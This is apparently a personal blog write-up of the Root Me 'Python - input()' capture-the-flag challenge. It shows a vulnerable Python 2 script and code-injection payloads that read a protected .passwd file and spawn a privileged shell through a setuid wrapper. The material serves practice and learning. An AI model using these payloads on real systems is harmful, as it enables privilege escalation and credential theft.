RootMe - CTF App Security - Python - input()

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is

Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The sixth challenge that we face is: Python - input():

Vulnerability type:

• Vulnerability Exploitation by Input() Python function

##################################################

At the beginning, open terminal and type:

• ssh -p 2222 app-script-ch6@challenge02.root-me.org

to connect to the target system. If it asks for a password, insert app-script-ch6.

If we type ls -la command, we will see four files: ch6.py, setuid-wrapper, .passwd and setuid-wrapper.c.

setuid-wrapper simply calls the ch6.py script.

For first, let's analyze the ch6.py script file:

#!/usr/bin/python2

import sys

def youLose():
    print "Try again ;-)"
    sys.exit(1)

try:
    p = input("Please enter password : ")
except:
    youLose()

with open(".passwd") as f:
    passwd = f.readline().strip()
    try:
        if (p == int(passwd)):
            print "Well done ! You can validate with this password !"
    except:
        youLose()

By reading on the web, we know that the input() function is vulnerable because we can call each routine we prefer. For example, if we start the program (as setuid-wrapper to take app-script-ch6cracked privileges) and we insert youLose(), the function youLose() defined inside the script will be executed.
If passwd has been defined before the input() statement, I could set as input int(passwd) and in this way, the if statement would be always true.

In our case, we need to read the .passwd. To do this, start the program by setuid-wrapper, then we can exploit the vulnerability by inserting __import__("os").system('cat .passwd'). We will get the solution.

Remember that I can also call a bash shell by inserting __import__("os").execl("/bin/sh","sh"). In this way we have a shell with app-script-ch6cracked privileges.